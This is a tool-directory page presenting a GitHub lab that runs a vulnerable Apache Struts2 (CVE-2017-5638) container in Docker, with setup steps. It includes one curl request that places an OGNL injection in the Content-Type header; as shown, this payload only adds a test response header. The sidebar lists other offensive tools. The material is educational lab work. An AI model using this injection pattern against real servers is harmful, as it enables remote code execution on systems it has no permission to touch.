Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
vulhub-struts2 — A practical lab demonstrating the exploitation of a critical Remote Code Execution (RCE) vulnerability in Apache Struts2 (CVE-2017-5638) using Vulhub Docker environments. Includes setup instructions and commands to run the vulnerable container. | Kitploit
Tools/GitHubGitHub/soufiane-benchahyd/vulhub-struts2
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubsoufiane-benchahyd/vulhub-struts2

vulhub-struts2

A practical lab demonstrating the exploitation of a critical Remote Code Execution (RCE) vulnerability in Apache Struts2 (CVE-2017-5638) using Vulhub Docker environments. Includes setup instructions and commands to run the vulnerable container.

View Repository
229 months agoNot yet reviewed
Share

Apache Struts2 S2-045 RCE (CVE-2017-5638)

📌 Overview

This project demonstrates the Remote Code Execution (RCE) vulnerability in Apache Struts2 (CVE-2017-5638).

Attackers can exploit a crafted HTTP Content-Type header to execute arbitrary system commands on vulnerable servers.

This repo uses Vulhub Docker labs to provide a safe environment to test and understand the vulnerability.


🛠 Environment Setup

  • Host: Ubuntu 24.04 (VirtualBox or Native)
  • Docker & Docker Compose
  • Vulhub Lab
  • Apache Struts2 version: 2.3.30

🚀 Getting Started

1️⃣ Clone this repo

git clone https://github.com/soufiane-benchahyd/vulhub-struts2.git
cd vulhub-struts2/struts2/s2-045

2️⃣ Start the vulnerable container

docker compose up -d

3️⃣ Verify container is running

docker ps

You should see something like:

CONTAINER ID   IMAGE                   COMMAND                  STATUS      PORTS
xxxxxxx        vulhub/struts2:2.3.30   "/usr/local/bin/mvn-…"   Up          0.0.0.0:8080->8080/tcp

4️⃣ Test the web interface

Open your browser → http://<VM_IP>:8080 You should see the Struts2 application homepage.

VM IP example: 192.168.56.101


💻 Exploitation

⚠️ Only perform exploitation in a controlled lab environment. Never attack public servers.

You can now test the RCE using scripts or tools like curl or Metasploit against the vulnerable container.

Example (replace <command> with your test command):

curl -v -H "Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','test')}" http://<VM_IP>:8080/

📝 Notes

  • This lab is safe: all actions occur inside Docker.
  • Screenshots of your test can be added later to GitHub.
  • You can extend this repo with other Struts2 vulnerabilities for a full learning portfolio.

⚡ References

  • Apache Struts2 S2-045 CVE
  • Vulhub GitHub
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    962
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    348
  • 4

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    344
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    324
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    297

Explore all tools

Browse our collection of tools

View all tools →